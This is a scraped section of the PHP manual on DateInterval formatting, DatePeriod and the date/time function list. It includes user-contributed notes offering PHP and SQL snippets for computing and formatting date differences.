format character | Description | Example values
% Literal % %
Y | Years, numeric, at least 2 digits with leading 0 | 01, 03
y | Years, numeric | 1, 3
M | Months, numeric, at least 2 digits with leading 0 | 01, 03, 12
m | Months, numeric | 1, 3, 12
D | Days, numeric, at least 2 digits with leading 0 | 01, 03, 31
d | Days, numeric | 1, 3, 31
a | Total amount of days | 4, 18, 8123
H | Hours, numeric, at least 2 digits with leading 0 | 01, 03, 23
h | Hours, numeric | 1, 3, 23
I | Minutes, numeric, at least 2 digits with leading 0 | 01, 03, 59
i | Minutes, numeric | 1, 3, 59
S | Seconds, numeric, at least 2 digits with leading 0 | 01, 03, 57
s | Seconds, numeric | 1, 3, 57
R Sign "-" when negative, "+" when positive -, +
r Sign "-" when negative, empty when positive -,

Return Values

Returns the formatted interval.

Notes

Note:

The DateInterval::format() method does not recalculate carry over points in time strings nor in date segments. This is expected because it is not possible to overflow values like "32 days" which could be interpreted as anything from "1 month and 4 days" to "1 month and 1 day".

Examples

Example #1 DateInterval example

<?php

$interval = new DateInterval('P2Y4DT6H8M');
echo $interval->format('%d days');

?>

The above example will output:

4 days

Example #2 DateInterval and carry over points

<?php

$interval = new DateInterval('P32D');
echo $interval->format('%d days');

?>

The above example will output:

32 days

Example #3 DateInterval and DateTime::diff() with the %a and %d modifiers

<?php

$january = new DateTime('2010-01-01');
$february = new DateTime('2010-02-01');
$interval = $february->diff($january);

// %a will output the total number of days.
echo $interval->format('%a total days')."\n";

// While %d will only output the number of days not already covered by the
// month.
echo $interval->format('%m month, %d days');

?>

The above example will output:

31 total days
1 month, 0 days

User Contributed Notes

balaclark at gmail dot com 02-Jun-2011 03:58
Be aware that your default timezone can sometimes alter the result of a diff so that the returned months/days are incorrect.

There is a bug report at: http://bugs.php.net/bug.php?id=52480
pekka at gmx dot de 13-Feb-2011 03:20
Note that `%a` is broken on Windows on VC6 builds. http://bugs.php.net/bug.php?id=51184
kuzb 04-Feb-2011 05:15
Quick class to allow you to input a time in any unit, and have it recalculate in to different denominations (for example, seconds to hours, minutes and seconds):

<?php
    class DateIntervalEnhanced extends DateInterval
    {

      /* Keep in mind that a year is seen in this class as 365 days, and a month is seen as 30 days.
         It is not possible to calculate how many days are in a given year or month without a point of
         reference in time.*/
      public function to_seconds()
      {
        return ($this->y * 365 * 24 * 60 * 60) +
               ($this->m * 30 * 24 * 60 * 60) +
               ($this->d * 24 * 60 * 60) +
               ($this->h * 60 *60) +
               $this->s;
      }

      public function recalculate()
      {
        $seconds = $this->to_seconds();
        $this->y = floor($seconds/60/60/24/365);
        $seconds -= $this->y * 31536000;
        $this->m = floor($seconds/60/60/24/30);
        $seconds -= $this->m * 2592000;
        $this->d = floor($seconds/60/60/24);
        $seconds -= $this->d * 86400;
        $this->h = floor($seconds/60/60);
        $seconds -= $this->h * 3600;
        $this->i = floor($seconds/60);
        $seconds -= $this->i * 60;
        $this->s = $seconds;
      }
    }

    // Example usage
    $di = new DateIntervalEnhanced('PT3600S');
    $di->recalculate();
    // outputs 1:0:0 instead of 0:0:3600 now!
    echo $di->format('%H:%i:%s');
?>
baptiste dot place at utopiaweb dot fr 15-Mar-2010 07:47
With php 5.3, DateTime is sweet !
Here is one quick example :

<?php
/**
 * A sweet interval formatting, will use the two biggest interval parts.
 * On small intervals, you get minutes and seconds.
 * On big intervals, you get months and days.
 * Only the two biggest parts are used.
 *
 * @param DateTime $start
 * @param DateTime|null $end
 * @return string
 */
public function formatDateDiff($start, $end=null) {
    if(!($start instanceof DateTime)) {
        $start = new DateTime($start);
    }

    if($end === null) {
        $end = new DateTime();
    }

    if(!($end instanceof DateTime)) {
        $end = new DateTime($start);
    }

    $interval = $end->diff($start);
    $doPlural = function($nb,$str){return $nb>1?$str.'s':$str;}; // adds plurals

    $format = array();
    if($interval->y !== 0) {
        $format[] = "%y ".$doPlural($interval->y, "year");
    }
    if($interval->m !== 0) {
        $format[] = "%m ".$doPlural($interval->m, "month");
    }
    if($interval->d !== 0) {
        $format[] = "%d ".$doPlural($interval->d, "day");
    }
    if($interval->h !== 0) {
        $format[] = "%h ".$doPlural($interval->h, "hour");
    }
    if($interval->i !== 0) {
        $format[] = "%i ".$doPlural($interval->i, "minute");
    }
    if($interval->s !== 0) {
        if(!count($format)) {
            return "less than a minute ago";
        } else {
            $format[] = "%s ".$doPlural($interval->s, "second");
        }
    }

    // We use the two biggest parts
    if(count($format) > 1) {
        $format = array_shift($format)." and ".array_shift($format);
    } else {
        $format = array_pop($format);
    }

    // Prepend 'since ' or whatever you like
    return $interval->format($format);
}
?>
DateInterval::createFromDateString
DatePeriod
DateInterval


The DatePeriod class

(PHP 5 >= 5.3.0)

Introduction

Representation of date period.

Class synopsis

DatePeriod implements Traversable {
/* Constants */
const integer EXCLUDE_START_DATE = 1 ;
/* Methods */
public __construct ( DateTime $start , DateInterval $interval , int $recurrences [, int $options ] )
public __construct ( DateTime $start , DateInterval $interval , DateTime $end [, int $options ] )
public __construct ( string $isostr [, int $options ] )
}

Predefined Constants

DatePeriod::EXCLUDE_START_DATE

Exclude start date, used in DatePeriod::__construct().

Table of Contents

  • DatePeriod::__construct — Creates new DatePeriod object

User Contributed Notes

Aurelien Marchand 09-Mar-2011 12:11
Warning About DatePeriod for Some Versions of PHP
*****************************************

Some versions of PHP had a bug so that caused DatePeriod to act strangely. For instance, the following code:

<?php
$start = DateTime::createFromFormat("Y-m-d H:i:s","2011-01-01 00:00:00",new DateTimeZone("America/Toronto"));
$interval = new DateInterval("P1M"); // 1 month
$occurrences = 3;
$period = new DatePeriod($start,$interval,$occurrences);
foreach($period as $dt){
  echo $dt->format("Y-m-d H:i:s") . "\n";
}
foreach($period as $dt){
  echo $dt->format("Y-m-d H:i:s") . "\n";
}
?>

Would produce the following text:
2011-01-01 00:00:00
2011-02-01 00:00:00
2011-03-01 00:00:00
2011-04-01 00:00:00
2011-05-01 00:00:00
2011-06-01 00:00:00
2011-07-01 00:00:00
2011-08-01 00:00:00

Instead of:
2011-01-01 00:00:00
2011-02-01 00:00:00
2011-03-01 00:00:00
2011-04-01 00:00:00
2011-01-01 00:00:00
2011-02-01 00:00:00
2011-03-01 00:00:00
2011-04-01 00:00:00

5.3.2 fails
5.3.3 fails
5.3.4 -??-
5.3.5 works
Memori 25-Feb-2011 12:19
If you want to include the end-date, add one day to it:

<?php
$startDate = new DateTime();
$endDate = new DateTime();

$startDateInt = new DateInterval( "P1Y" );
$endDateInt = new DateInterval( "P1D" );

$startDate->sub( $startDateInt );
$endDate->add( $endDateInt );

$periodInt = new DateInterval( "P1M" );
$period = new DatePeriod( $startDate, $periodInt, $endDate );

// At februari 2011:
// $period = (8,9,10,11,12,1,2)
?>
jkaatz at gmx dot de 10-Jul-2009 01:55
Nice example from PHP Spring Conference (thanks to Johannes Schlüter and David Zülke)

<?php
$begin = new DateTime( '2007-12-31' );
$end = new DateTime( '2009-12-31 23:59:59' );

$interval = DateInterval::createFromDateString('last thursday of next month');
$period = new DatePeriod($begin, $interval, $end, DatePeriod::EXCLUDE_START_DATE);

foreach ( $period as $dt )
  echo $dt->format( "l Y-m-d H:i:s\n" );
?>

DateInterval specs could be found at http://en.wikipedia.org/wiki/ISO_8601#Time_intervals
DateInterval::format
DatePeriod::__construct
Date/Time


Creates new DatePeriod object

DatePeriod
Date/Time Functions
DatePeriod
PHP Manual

DatePeriod::__construct

(PHP 5 >= 5.3.0)

DatePeriod::__construct — Creates new DatePeriod object

Description

public DatePeriod::__construct() ( DateTime $start , DateInterval $interval , int $recurrences [, int $options ] )
public DatePeriod::__construct() ( DateTime $start , DateInterval $interval , DateTime $end [, int $options ] )
public DatePeriod::__construct() ( string $isostr [, int $options ] )

Creates new DatePeriod object.

Parameters

start

Start date.

interval

Interval.

recurrences

Number of recurrences.

end

End date.

isostr

String containing the ISO interval.

options

Can be set to DatePeriod::EXCLUDE_START_DATE.

User Contributed Notes

simon dot kohlmeyer at mayflower dot de 03-Nov-2010 03:50
I found two things useful to know that aren't covered here.

1. endDate is excluded:

<?php
$i = new DateInterval('P1D');
$d1 = new Datetime();
$d2 = clone $d1; $d2->add($i);
foreach(new DatePeriod($d1, $i, $d2) as $d) {
    echo $d->format('Y-m-d H:i:s') . "\n";
}
?>

Will output:
2010-11-03 12:39:53

(Another one because I got it wrong at first)
2. For the first form, recurrences really means REcurrences, not occurences.

<?php
$i = new DateInterval('P1D');
$d = new Datetime();
foreach(new DatePeriod($d, $i, 1) as $d) {
    echo $d->format('Y-m-d H:i:s') . "\n";
}
?>

Will output:
2010-11-03 12:41:05
2010-11-04 12:41:05
DatePeriod
Date/Time Functions
DatePeriod


Date/Time Functions

Table of Contents

  • checkdate — Validate a Gregorian date
  • date_add — Alias of DateTime::add
  • date_create_from_format — Alias of DateTime::createFromFormat
  • date_create — Alias of DateTime::__construct
  • date_date_set — Alias of DateTime::setDate
  • date_default_timezone_get — Gets the default timezone used by all date/time functions in a script
  • date_default_timezone_set — Sets the default timezone used by all date/time functions in a script
  • date_diff — Alias of DateTime::diff
  • date_format — Alias of DateTime::format
  • date_get_last_errors — Alias of DateTime::getLastErrors
  • date_interval_create_from_date_string — Alias of DateInterval::createFromDateString
  • date_interval_format — Alias of DateInterval::format
  • date_isodate_set — Alias of DateTime::setISODate
  • date_modify — Alias of DateTime::modify
  • date_offset_get — Alias of DateTime::getOffset
  • date_parse_from_format — Get info about given date formatted according to the specified format
  • date_parse — Returns associative array with detailed info about given date
  • date_sub — Alias of DateTime::sub
  • date_sun_info — Returns an array with information about sunset/sunrise and twilight begin/end
  • date_sunrise — Returns time of sunrise for a given day and location
  • date_sunset — Returns time of sunset for a given day and location
  • date_time_set — Alias of DateTime::setTime
  • date_timestamp_get — Alias of DateTime::getTimestamp
  • date_timestamp_set — Alias of DateTime::setTimestamp
  • date_timezone_get — Alias of DateTime::getTimezone
  • date_timezone_set — Alias of DateTime::setTimezone
  • date — Format a local time/date
  • getdate — Get date/time information
  • gettimeofday — Get current time
  • gmdate — Format a GMT/UTC date/time
  • gmmktime — Get Unix timestamp for a GMT date
  • gmstrftime — Format a GMT/UTC time/date according to locale settings
  • idate — Format a local time/date as integer
  • localtime — Get the local time
  • microtime — Return current Unix timestamp with microseconds
  • mktime — Get Unix timestamp for a date
  • strftime — Format a local time/date according to locale settings
  • strptime — Parse a time/date generated with strftime
  • strtotime — Parse about any English textual datetime description into a Unix timestamp
  • time — Return current Unix timestamp
  • timezone_abbreviations_list — Alias of DateTimeZone::listAbbreviations
  • timezone_identifiers_list — Alias of DateTimeZone::listIdentifiers
  • timezone_location_get — Alias of DateTimeZone::getLocation
  • timezone_name_from_abbr — Returns the timezone name from abbreviation
  • timezone_name_get — Alias of DateTimeZone::getName
  • timezone_offset_get — Alias of DateTimeZone::getOffset
  • timezone_open — Alias of DateTimeZone::__construct
  • timezone_transitions_get — Alias of DateTimeZone::getTransitions
  • timezone_version_get — Gets the version of the timezonedb

User Contributed Notes

Hans 15-Aug-2011 12:19
I needed a way to display an announcement on a shopping site, that would warn users that orders placed between a certain date range, would not be shipped until after a certain date.

I created this simple date detection code to display the notice on certain pages. You can just copy the code and save it to a file on the site and include it anywhere you need to perform a function, or display a notice.

<?php
/*
    Code to show a message only for a certain time frame.
    This is a simple include file that can be used to display a message
    on any pages that use it.
    Simply us a standard include instruction to this file on the page/s where
    you want the notice to appear.
    Written by Hans Kiesouw - hans at wotworx dot com
*/

$start = new DateTime('30-07-2011'); // DD-MM-YYYY
$endDate= new DateTime('07-08-2011'); // DD-MM-YYYY
$curdate = new DateTime(date('d-m-Y'));

if ($start <= $curdate && $curdate <= $endDate) {
    /*
    The message below will appear if the current date is between the start and
    endDate - used standards HTML to ensure that any code will not be
    escaped by PHP. You can use any code here to wish to execute for the
    date range.
    */
    ?>

    <p><strong><font color="#FF0000">Please Note: Any orders placed between July 30th and August 7th will only be shipped on August 8th. We apologize for any inconvenience and thank you for your order.</font></strong></p>
 <?php
 // don't forget this last bit, it ends the if statement!
}

?>
luck dot lil dot leprechaun at gmail dot com 19-May-2009 03:53
This is an easily extendable and pretty way to output human-readable date differences such as "1 day 2 hours ago", "6 months ago", "3 years 7 months 14 days 1 hour 4 minutes 16 seconds" etc etc.
Change "$levels = 2;" to whatever you want. A value of 1 will limit to only one number in the result ("3 days ago"). A value of 3 would result in up to three ("3 days 1 hour 2 minutes ago")

It can be used in the following ways:
echo compare_dates($start_date,$end_date);
echo compare_dates($end_date,$start_date);
echo compare_dates($start_date); //end date will be assumed as time();

<?php
function compare_dates($date1, $date2 = time())
    {
    $blocks = array(
        array('name'=>'year','amount'    =>    60*60*24*365    ),
        array('name'=>'month','amount'    =>    60*60*24*31    ),
        array('name'=>'week','amount'    =>    60*60*24*7    ),
        array('name'=>'day','amount'    =>    60*60*24    ),
        array('name'=>'hour','amount'    =>    60*60        ),
        array('name'=>'minute','amount'    =>    60        ),
        array('name'=>'second','amount'    =>    1        )
        );

    $diff = abs($date1-$date2);

    $levels = 2;
    $current_level = 1;
    $result = array();
    foreach($blocks as $block)
        {
        if ($current_level > $levels) {break;}
        if ($diff/$block['amount'] >= 1)
            {
            $amount = floor($diff/$block['amount']);
            if ($amount>1) {$plural='s';} else {$plural='';}
            $result[] = $amount.' '.$block['name'].$plural;
            $diff -= $amount*$block['amount'];
            $current_level++;
            }
        }
    return implode(' ',$result).' ago';
    }
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jorge AT dontspam DOT com) on 22-OCT-2009.]
Robb_Bean at gmx dot nospam dot net 18-Mar-2008 03:47
With PHP 5.1 and 5.2 the languages datetime support has changed. Although these functions should guess your local timezone settings, they may fail if using a default configuration in a "pre-5.1 way", which means setting no timezone for PHP. In the case PHP could not get a timezone it emits a E_STRICT warning. Note that this affects _all_ datetime functions and keep it in mind when porting software from previous versions to 5.1 or later! It may also confuse your error handling (this is the way I noticed that things have changed, since these changes are not documentated _here_).

References:

http://www.php.net/manual/de/migration51.datetime.php
http://www.php.net/manual/de/migration52.datetime.php
sagar 28-Feb-2008 08:53
<?php
####################################
# Provide week number and get start_timestamp and end_timestamp
#####################################

// this week number will come from the timeshare form
 $week = 51;

$times = get_start_and_end_date_from_week($week);
$start_time = $times['start_timestamp'];
$end_time = $times['end_timestamp'];

function get_start_and_end_date_from_week ($w)
{
    $y = date("Y", time());
    $o = 6; // week starts from sunday by default

    $days = ($w - 1) * 7 + $o;

    $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
    if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
    # in getdate, Sunday is 0 instead of 7
    $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
    $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

    $sday = $calcdate["mday"];
    $smonth = $calcdate["mon"];
    $syear = $calcdate["year"];

    $timestamp['start_timestamp'] =  mktime(0, 0, 0, $smonth, $sday, $syear);
    $timestamp['end_timestamp'] =  $timestamp['start_timestamp'] + (60*60*24*7);

    return $timestamp;

}    # function datefromweek
?>
nate at example dot com 04-Feb-2008 04:56
Here's my version of date diff that handles leap years, DST, and deals with the diff in terms of "human calculations". For example, this code does not assume that a year = 365.25 days, or that a month = 30/31 days. The results are exactly what a human being would determine as a good result.

<?php

/**
 * this code assumes php >= 5.1.0. if using < 5.1, read
 * php.net/strtotime and change the condition for checking
 * for failure from strtotime()
 */

// $t1, $t2: unix times, or strtotime parseable
// $precision: max number of units to output
// $abbr: if true, use "hr" instead of "hour", etc.
function date_diff ($t1, $t2, $precision = 6, $abbr = false) {
    if (preg_match('/\D/', $t1) && ($t1 = strtotime($t1)) === false)
        return false;

    if (preg_match('/\D/', $t2) && ($t2 = strtotime($t2)) === false)
        return false;

    if ($t1 > $t2)
        list($t1, $t2) = array($t2, $t1);

    $diffs = array(
        'year' => 0, 'month' => 0, 'day' => 0,
        'hour' => 0, 'minute' => 0, 'second' => 0,
    );

    $abbrs = array(
        'year' => 'yr', 'month' => 'mth', 'day' => 'day',
        'hour' => 'hr', 'minute' => 'min', 'second' => 'sec'
    );

    foreach (array_keys($diffs) as $interval) {
        while ($t2 >= ($t3 = strtotime("+1 ${interval}", $t1))) {
            $t1 = $t3;
            ++$diffs[$interval];
        }
    }

    $stack = array();
    foreach ($diffs as $interval => $num)
        $stack[] = array($num, ($abbr ? $abbrs[$interval] : $interval) . ($num != 1 ? 's' : ''));

    $ret = array();
    while (count($ret) < $precision && ($item = array_shift($stack)) !== null) {
        if ($item[0] > 0)
            $ret[] = "{$item[0]} {$item[1]}";
    }

    return implode(', ', $ret);
}

$t1 = 'Feb 4, 2008 12:16:00';
$t2 = 'Jul 3, 2006 16:15:30';

echo date_diff($t1, $t2), "\n",
    date_diff($t1, $t2, 3), "\n",
    date_diff($t1, $t2, 2, true), "\n";

?>
stoicnluv at gmail dot com 05-Nov-2007 03:14
A better and accurate function to calculate the difference between 2 dates. Takes leap years and DST into consideration. Accepts string date or timestamp as arguments.

<?php
function date_diff($d1, $d2){
    $d1 = (is_string($d1) ? strtotime($d1) : $d1);
    $d2 = (is_string($d2) ? strtotime($d2) : $d2);

    $diff_secs = abs($d1 - $d2);
    $base_year = min(date("Y", $d1), date("Y", $d2));

    $diff = mktime(0, 0, $diff_secs, 1, 1, $base_year);
    return array(
        "years" => date("Y", $diff) - $base_year,
        "months_total" => (date("Y", $diff) - $base_year) * 12 + date("n", $diff) - 1,
        "months" => date("n", $diff) - 1,
        "days_total" => floor($diff_secs / (3600 * 24)),
        "days" => date("j", $diff) - 1,
        "hours_total" => floor($diff_secs / 3600),
        "hours" => date("G", $diff),
        "minutes_total" => floor($diff_secs / 60),
        "minutes" => (int) date("i", $diff),
        "seconds_total" => $diff_secs,
        "seconds" => (int) date("s", $diff)
    );
}

$a = date_diff("2006-11-01", "2007-11-01");

echo "<pre>";
print_r($a);
echo "</pre>";
?>

This example will output (if your timezone uses US DST):

Array
(
    [years] => 0
    [months_total] => 11
    [months] => 11
    [days_total] => 364
    [days] => 30
    [hours_total] => 8759
    [hours] => 23
    [minutes_total] => 525540
    [minutes] => 0
    [seconds_total] => 31532400
    [seconds] => 0
)

As you can see, the result is not exactly 1 year (less 1 hour) since Nov 1, 2006 is not DST while Nov 1, 2007 is DST.
venoel at rin dot ru 26-Oct-2007 03:33
May be useful for somebody. This function takes on daylight saving time

<?php
Function DateDiff($date1,$date2) {
  $timedifference=$date2-$date1;
  $corr=date("I",$date2)-date("I",$date1);
  $timedifference+=$corr;
  return $timedifference;
}
?>

Example:

<?php
$d1=mktime(2,0,0,10,28,2007);
$d2=mktime(4,0,0,10,28,2007);
$period=DateDiff($d1,$d2);
printf("<br>%s",date("I d.m.Y H:i",$d1));
printf("<br>%u hour",$period/3600);
printf("<br>%s",date("I d.m.Y H:i",$d2));
?>

Getting 2 hour instead 3.
koch.ro 17-Oct-2007 12:42
Not really elegant, but tells you, if your installed timezonedb is the most recent:

<?php
class TestDateTimeTimezonedbVersion extends PHPUnit_Framework_TestCase
{
    public function testTimezonedbIsMostRecent()
    {
        ini_set( 'date.timezone', 'Europe/Berlin' );
        ob_start();
        phpinfo(INFO_MODULES);
        $info = ob_get_contents();
        ob_end_clean();
        $start = strpos( $info, 'Timezone Database Version' ) + 29;

        $this->assertTrue( FALSE !== $start, 'Seems there is no timezone DB installed' );

        $end   = strpos( $info, "\n", $start );
        $installedVersion = substr( $info, $start, $end - $start );

        exec( 'pecl remote-info timezonedb', &$output );
        $availableVersion = substr( $output[2], 12 );

        $this->assertEquals( $availableVersion, $installedVersion,
        'The installed timezonedb is not actual. Installed: '.$installedVersion
        .' available: '.$availableVersion
        );
    }
}
?>
aquatakat at telus dot net 24-Sep-2007 01:25
I wrote a simple script to format a duration in seconds. Give the function some value in seconds and it will return an array.

<?php

function format_duration($seconds) {

    $periods = array(
        'centuries' => 3155692600,
        'decades' => 315569260,
        'years' => 31556926,
        'months' => 2629743,
        'weeks' => 604800,
        'days' => 86400,
        'hours' => 3600,
        'minutes' => 60,
        'seconds' => 1
    );

    $durations = array();

    foreach ($periods as $period => $seconds_in_period) {
        if ($seconds >= $seconds_in_period) {
            $durations[$period] = floor($seconds / $seconds_in_period);
            $seconds -= $durations[$period] * $seconds_in_period;
        }
    }

    return $durations;

}

echo format_duration(864);

/*
[minutes] => 14
[seconds] => 24
*/

echo format_duration(3600);

/*
[hours] => 1
*/

echo format_duration(11111111);

/*
[months] => 4
[days] => 6
[hours] => 20
[minutes] => 28
[seconds] => 59
*/

?>
Darren Edwards 06-Sep-2007 08:54
I was looking for a solution where I could return the number of days, hours, Minutes and seconds between two entries in a table.
DATE_DIFF is not running on my mysql server as my provider uses mysql version 4.0.25
Solution was to use to days and std time functions to calculate the difference in one call.
The fields stored in the table(report_table) are
time(00:00:00),
date(0000-00-00) and record(enum) which tells the app the type of log stored. EG start or end of a report.

SELECT
(TO_DAYS( `end`.`date` ) - TO_DAYS( `start`.`date` ))
-
( second( `end`.`time` ) + (minute( `end`.`time` )*60) + (hour( `end`.`time` )*3600)
<
 second( `start`.`time` ) + (minute( `start`.`time` )*60) + (hour( `start`.`time` )*3600))
AS `days` ,
SEC_TO_TIME(
(second( `end`.`time` ) + (minute( `end`.`time` )*60) + (hour( `end`.`time` )*3600) )
-
(second( `start`.`time` ) + (minute( `start`.`time` )*60) + (hour( `start`.`time` )*3600) )
 ) AS `hms`,
`start`.`time` as `start`,
`end`.`time`  as `end`

FROM `report_table` AS `start` , `report_table` AS `end`
AND `start`.`record` = 'Report Begin'
AND `end`.`record` = 'Report End'
LIMIT 1

If there is no end of report then it will not return a result, as you would expect.
Leopoldo A dot Oducado (poducado at comfsm dot fm) 15-Feb-2007 07:50
Here is my function to count the number days, weeks, months, and year. I tried it below 1970 and it works.

<?php
function datecal($date,$return_value)
{
$date = explode("/", $date);
$month_begin = $date[0];
$month_begin_date = $date[1];
$year1 = $date[2];
$month_end = date("n");
$month_end_date = date("j");
$year2 = date("Y");
$days_old = 0;
$years_old = 0;
$months_old = 0;
if($month_begin==12)
{
  $month = 1;
  $year = $year1+1;
}
else
{
  $month = $month_begin+1;
  $year = $year1;
}
$begin_plus_days = cal_days_in_month(CAL_GREGORIAN, $month_begin, $year1) - $month_begin_date;
$end_minus_days = cal_days_in_month(CAL_GREGORIAN, $month_end, $year2) - $month_end_date;
while ($year <= $year2)
{
     if($year == $year2)
    {
      $days_old = $days_old + cal_days_in_month(CAL_GREGORIAN, $month, $year);
      if($month < $month_end)
        {
         $months_old = $months_old + 1;
         $month = $month + 1;
        }
          elseif ($month==$month_end and $month_end_date >= $month_begin_date)
            {
         $year = $year2+1;
        }
      else
        {
         $year = $year2+1;
        }
    }
    else
    {
     $days_old = $days_old + cal_days_in_month(CAL_GREGORIAN, $month, $year);
         if ($month <= 11)
            {
         $month = $month + 1;
         $months_old = $months_old + 1;
            }
         else
            {
         $month = 1;
         $year = $year + 1;
         $months_old = $months_old + 1;
            }
    }
}
$days_old = ($days_old + $begin_plus_days) - $end_minus_days;
if($return_value == "d")
  { return $days_old; }
elseif ($return_value == "w")
  { return intval($days_old/7); }
elseif ($return_value == "m")
  { return $months_old; }
elseif ($return_value == "y")
  { return intval($months_old/12); }
}

echo datecal("08/13/1975","m");
?>
bgold at matrix-consultants dot com 16-Jan-2007 05:08
When debugging code that stores date/time values in a database, you may find yourself wanting to know the date/time that corresponds to a given unix timestamp, or the timestamp for a given date & time.

The following script will do the conversion either way.  If you give it a numeric timestamp, it will display the corresponding date and time.  If you give it a date and time (in almost any standard format), it will display the timestamp.

All conversions are done for your locale/time zone.

<?php
        while (true)
        {
                // Read a line from standard in.
                echo "enter time to convert: ";
                $inline = fgets(STDIN);
                $inline = trim($inline);
                if ($inline == "" || $inline == ".")
                        break;

                // See if the line is a date.
                $pos = strpos($inline, "/");
                if ($pos === false) {
                        // not a date, should be an integer.
                        $date = date("m/d/Y G:i:s", $inline);
                        echo "int2date: $inline -> $date\n";
                } else {
                        $itime = strtotime($inline);
                        echo "date2int: $inline -> $itime\n";
                }
        }
?>
andreencinas at yahoo dot com dot br 28-Sep-2005 05:08
<?php
       //function like dateDiff Microsoft
       //not error in year Bissesto

       function dateDiff($interval,$dateTimeBegin,$dateTimeEnd) {
         //Parse about any English textual datetime
         //$dateTimeBegin, $dateTimeEnd

         $dateTimeBegin=strtotime($dateTimeBegin);
         if($dateTimeBegin === -1) {
           return("..begin date Invalid");
         }

         $dateTimeEnd=strtotime($dateTimeEnd);
         if($dateTimeEnd === -1) {
           return("..end date Invalid");
         }

         $dif=$dateTimeEnd - $dateTimeBegin;

         switch($interval) {
           case "s"://seconds
               return($dif);

           case "n"://minutes
               return(floor($dif/60)); //60s=1m

           case "h"://hours
               return(floor($dif/3600)); //3600s=1h

           case "d"://days
               return(floor($dif/86400)); //86400s=1d

           case "ww"://Week
               return(floor($dif/604800)); //604800s=1week=1semana

           case "m": //similar result "m" dateDiff Microsoft
               $monthBegin=(date("Y",$dateTimeBegin)*12)+
                 date("n",$dateTimeBegin);
               $monthEnd=(date("Y",$dateTimeEnd)*12)+
                 date("n",$dateTimeEnd);
               $monthDiff=$monthEnd-$monthBegin;
               return($monthDiff);

           case "yyyy": //similar result "yyyy" dateDiff Microsoft
               return(date("Y",$dateTimeEnd) - date("Y",$dateTimeBegin));

           default:
               return(floor($dif/86400)); //86400s=1d
         }

       }
?>
glashio at xs4all dot nl 27-Sep-2005 12:46
Calculate Sum BusinessDays (Mon till Fri) between two date's :

<?php
function businessdays($begin, $end) {
    $rbegin = is_string($begin) ? strtotime(strval($begin)) : $begin;
    $rend = is_string($end) ? strtotime(strval($end)) : $end;
    if ($rbegin < 0 || $rend < 0)
        return 0;

    $begin = workday($rbegin, TRUE);
    $end = workday($rend, FALSE);

    if ($end < $begin) {
        $end = $begin;
        $begin = $end;
    }

    $difftime = $end - $begin;
    $diffdays = floor($difftime / (24 * 60 * 60)) + 1;

    if ($diffdays < 7) {
        $abegin = getdate($rbegin);
        $aend = getdate($rend);
        if ($diffdays == 1 && ($astart['wday'] == 0 || $astart['wday'] == 6) && ($aend['wday'] == 0 || $aend['wday'] == 6))
            return 0;
        $abegin = getdate($begin);
        $aend = getdate($end);
        $weekends = ($aend['wday'] < $abegin['wday']) ? 1 : 0;
    } else
        $weekends = floor($diffdays / 7);
    return $diffdays - ($weekends * 2);
}

function workday($date, $begindate = TRUE) {
    $adate = getdate($date);
    $day = 24 * 60 * 60;
    if ($adate['wday'] == 0) // Sunday
        $date += $begindate ? $day : -($day * 2);
    elseif ($adate['wday'] == 6) // Saterday
        $date += $begindate ? $day * 2 : -$day;
    return $date;
}
?>
daniel at globalnetstudios dot com 08-Jun-2005 11:49
This dateDiff() function can take in just about any timestamp, including UNIX timestamps and anything that is accepted by strtotime(). It returns an array with the ability to split the result a couple different ways. I built this function to suffice any datediff needs I had. Hope it helps others too.

<?php
  /********* dateDiff() function **********
   * returns Array of Int values for difference between two dates
   * $date1 > $date2 --> positive integers are returned
   * $date1 < $date2 --> negative integers are returned
   *
   * $split recognizes the following:
   *   'yw' = splits up years, weeks and days (default)
   *   'y'  = splits up years and days
   *   'w'  = splits up weeks and days
   *   'd'  = total days
   *
   * examples:
   *   $dif1 = dateDiff() or dateDiff('yw')
   *   $dif2 = dateDiff('y')
   *   $dif3 = dateDiff('w')
   *   $dif4 = dateDiff('d')
   *
   * assuming dateDiff returned 853 days, the above
   * examples would have a print_r output of:
   *   $dif1 == Array( [y] => 2 [w] => 17 [d] => 4 )
   *   $dif2 == Array( [y] => 2 [d] => 123 )
   *   $dif3 == Array( [w] => 121 [d] => 6 )
   *   $dif4 == Array( [d] => 847 )
   *
   * note: [h] (hours), [m] (minutes), [s] (seconds) are always returned as elements of the Array
   */
  function dateDiff($dt1, $dt2, $split='yw') {
    $date1 = (strtotime($dt1) != -1) ? strtotime($dt1) : $dt1;
    $date2 = (strtotime($dt2) != -1) ? strtotime($dt2) : $dt2;
    $dtDiff = $date1 - $date2;
    $totalDays = intval($dtDiff/(24*60*60));
    $totalSecs = $dtDiff-($totalDays*24*60*60);
    $dif['h'] = $h = intval($totalSecs/(60*60));
    $dif['m'] = $m = intval(($totalSecs-($h*60*60))/60);
    $dif['s'] = $totalSecs-($h*60*60)-($m*60);
    // set up array as necessary
    switch($split) {
    case 'yw': # split years-weeks-days
      $dif['y'] = $y = intval($totalDays/365);
      $dif['w'] = $w = intval(($totalDays-($y*365))/7);
      $dif['d'] = $totalDays-($y*365)-($w*7);
      break;
    case 'y': # split years-days
      $dif['y'] = $y = intval($totalDays/365);
      $dif['d'] = $totalDays-($y*365);
      break;
    case 'w': # split weeks-days
      $dif['w'] = $w = intval($totalDays/7);
      $dif['d'] = $totalDays-($w*7);
      break;
    case 'd': # don't split -- total days
      $dif['d'] = $totalDays;
      break;
    default:
      die("Error in dateDiff(). Unrecognized \$split parameter. Valid values are 'yw', 'y', 'w', 'd'. Default is 'yw'.");
    }
    return $dif;
  }
?>
mail at completeideas dot com 06-Jun-2005 01:55
For those who are using pre MYSQL 4.1.1, you can use:

TO_DAYS([Date Value 1])-TO_DAYS([Date Value 2])

For the same result as:

DATEDIFF([Date Value 1],[Date Value 2])
mincklerstraat at softhome dot net 11-Oct-2004 01:43
Before you get too advanced using date functions, be sure also to see the calendar functions at http://www.php.net/manual/en/ref.calendar.php .
nickaubert at america's biggest isp dot com 12-Apr-2004 01:13
